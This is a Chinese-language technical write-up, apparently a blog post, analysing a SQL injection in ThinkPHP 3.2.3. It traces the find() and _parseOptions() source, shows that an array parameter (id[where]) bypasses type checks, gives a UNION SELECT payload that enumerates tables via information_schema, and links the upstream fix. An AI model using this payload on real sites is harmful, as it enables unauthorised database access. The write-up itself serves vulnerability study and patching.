前言

Thinkphp3中特有的字母函数
https://www.cnblogs.com/kenshinobiy/p/9165662.html

M实例化一个没有模型文件的Model,实例化参数是数据库的表名。
I表示Input,主要用于更加方便和安全的获取系统输入变量。

环境搭建

使用composer一键下载

composer create-project topthink/thinkphp=3.2.3 tp3.2.3

编写controller
Application/Home/Controller/SearchController.class.php

<?php
namespace Home\Controller;

use Think\Controller;

class SearchController extends Controller
{
    public function index()
    {
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

配置数据库信息
Application/Home/Conf/config.php

<?php
return array(
	//'配置项'=>'配置值'
    /* 数据库设置 */
    'DB_TYPE'                => 'mysql', // 数据库类型
    'DB_HOST'                => 'localhost', // 服务器地址
    'DB_NAME'                => 'thinkphp', // 数据库名
    'DB_USER'                => 'root', // 用户名
    'DB_PWD'                 => 'root', // 密码
    'DB_PORT'                => '3306', // 端口
);

创建数据库

CREATE TABLE `thinkphp`.`users`  (
  `id` int NOT NULL,
  `username` varchar(255) NULL,
  `password` varchar(255) NULL,
  PRIMARY KEY (`id`)
);
INSERT INTO `users` (`id`, `username`, `password`) VALUES (1, 'user1', 'password1');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (2, 'user2', 'password2');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (3, 'user3', 'password3');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (4, 'user4', 'password4');
INSERT INTO `users` (`id`, `username`, `password`) VALUES (5, 'user5', 'password5');

普通传参调试分析

访问

http://localhost/Home/search?id=1'

跟进find函数
这里的options参数是通过I()函数传入的
首先判断options是否是数字或者字符

$options="1'"

如果是那就将其对应的键值和参数值传入$options['where']

$options[where] = {id => "1'"}

$options参数是Model.class.php中的一个数组,主要存放各种条件参数,如$options['where'],$options['limit']等

    public function find($options = array())
    {
        if (is_numeric($options) || is_string($options)) {
            $where[$this->getPk()] = $options;   //getPk()获取主键名称
            $options               = array();
            $options['where']      = $where;
        }
        // 根据复合主键查找记录
        $pk = $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) {
                    $count++;
                }

            }
            if (count($pk) == $count) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where'] = $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit'] = 1;
        // 分析表达式
        $options = $this->_parseOptions($options);
        // 判断查询缓存
        if (isset($options['cache'])) {
            $cache = $options['cache'];
            $key   = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
            $data  = S($key, '', $cache);
            if (false !== $data) {
                $this->data = $data;
                return $data;
            }
        }
        $resultSet = $this->db->select($options);
        if (false === $resultSet) {
            return false;
        }
        if (empty($resultSet)) {
// 查询结果为空
            return null;
        }
        if (is_string($resultSet)) {
            return $resultSet;
        }

        // 读取数据后的处理
        $data = $this->_read_data($resultSet[0]);
        $this->_after_find($data, $options);
        if (!empty($this->options['result'])) {
            return $this->returnResult($data, $this->options['result']);
        }
        $this->data = $data;
        if (isset($cache)) {
            S($key, $data, $cache);
        }
        return $this->data;
    }

接下来跟进_parseOptions()函数,显然这是处理$options中参数的函数。
其中有一段字段类型验证,当$options['where']是数组时,会走到_parseType()函数。

 /**
     * 分析表达式
     * @access protected
     * @param array $options 表达式参数
     * @return array
     */
    protected function _parseOptions($options = array())
    {
        if (is_array($options)) {
            $options = array_merge($this->options, $options);
        }

        if (!isset($options['table'])) {
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields();
        }

        // 数据表别名
        if (!empty($options['alias'])) {
            $options['table'] .= ' ' . $options['alias'];
        }
        // 记录操作的模型名称
        $options['model'] = $this->name;

        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key => $val) {
                $key = trim($key);
                if (in_array($key, $fields, true)) {
                    if (is_scalar($val)) {
                        $this->_parseType($options['where'], $key);
                    }
                } elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
                    if (!empty($this->options['strict'])) {
                        E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
                    }
                    unset($options['where'][$key]);
                }
            }
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;
    }

跟进_parseType()函数,获取到数据库中id为int型,所以会将传入参数进行intval()。
这里会将我们传入的1'转化为1,所以无法注入。

protected function _parseType(&$data, $key)
    {
        if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
            $fieldType = strtolower($this->fields['_type'][$key]);
            if (false !== strpos($fieldType, 'enum')) {
                // 支持ENUM类型优先检测
            } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                $data[$key] = intval($data[$key]);
            } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
                $data[$key] = floatval($data[$key]);
            } elseif (false !== strpos($fieldType, 'bool')) {
                $data[$key] = (bool) $data[$key];
            }
        }
    }

漏洞触发点

使用数组形式传入参数

http://localhost/index.php/Home/Search/index?id[where]=1'

这里会跳过对$options['where']的赋值,而直接使用我们传入的参数。

因为$options['where']不再是数组,所以也能跳过字段类型验证。

可以看到最终生成的sql语句成功保留了引号

页面报错信息

利用类似方法还可以使用id[table],id[alias]等。

payload

id[where]=FALSE union select 1,2,TABLE_NAME from information_schema.tables where table_schema=database()--+

漏洞修复

https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04

将$options和$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

参考

https://y4er.com/posts/thinkphp3-vuln